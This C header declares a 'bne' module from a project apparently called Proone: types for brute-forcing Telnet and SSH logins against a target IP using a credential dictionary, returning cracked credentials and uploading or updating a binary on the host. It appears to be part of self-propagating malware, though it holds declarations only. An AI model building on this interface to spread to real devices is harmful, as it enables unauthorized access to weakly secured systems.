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/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#pragma once
#include <stdio.h>
#include <stddef.h>
#include <inttypes.h>
#include <stdbool.h>
#include <mbedtls/ssl.h>
#include <mbedtls/ctr_drbg.h>
#include "pth.h"
#include "protocol.h"
#include "pack.h"
#include "cred_dict.h"
struct prne_bne;
typedef struct prne_bne_param prne_bne_param_t;
typedef struct prne_bne prne_bne_t;
typedef struct prne_bne_result prne_bne_result_t;
enum prne_bne_vector {
PRNE_BNE_V_NONE = -1,
PRNE_BNE_V_HTBT,
PRNE_BNE_V_BRUTE_TELNET,
PRNE_BNE_V_BRUTE_SSH,
NB_PRNE_BNE_V
};
typedef enum prne_bne_vector prne_bne_vector_t;
struct prne_bne_param {
const prne_cred_dict_t *cred_dict;
mbedtls_ssl_config *htbt_ssl_conf;
struct {
const prne_bne_vector_t *arr;
size_t cnt;
} vector;
struct {
char *(*exec_name)(void *ctx);
char *(*bne_lock_name)(void *ctx);
bool (*enter_dd)(void *ctx);
void (*exit_dd)(void *ctx);
uint64_t (*uptime)(void *ctx);
/**
* \brief called by bne instance to compare versions of Proone to
* determine if binary update has to be performed.
* \return negative value if \p uuid is newer, 0 if \p uuid is identical
to the current version or positive value if \p uuid is older
*/
int (*vercmp)(void *ctx, const uint8_t *uuid);
int (*tmpfile)(
void *ctx,
const int flags,
const mode_t mode,
size_t req_size,
char **path);
bool (*upbin)(void *ctx, const char *path, const prne_htbt_cmd_t *cmd);
} cb;
void *cb_ctx;
const prne_rcb_param_t *rcb;
const uint8_t *org_id;
prne_ip_addr_t subject;
unsigned int login_attempt;
};
struct prne_bne_result {
struct {
char *id;
char *pw;
} cred;
const prne_ip_addr_t *subject;
int err;
prne_bne_vector_t vec;
prne_pack_rc_t prc;
prne_bin_host_t bin_host;
prne_bin_host_t bin_used;
bool ny_instance;
};
void prne_init_bne_param (prne_bne_param_t *p);
void prne_free_bne_param (prne_bne_param_t *p);
const char *prne_bne_vector_tostr (const prne_bne_vector_t v);
prne_bne_t *prne_alloc_bne (
prne_worker_t *w,
mbedtls_ctr_drbg_context *ctr_drbg,
const prne_bne_param_t *param);
const prne_ip_addr_t *prne_bne_get_subject (const prne_bne_t *bne);
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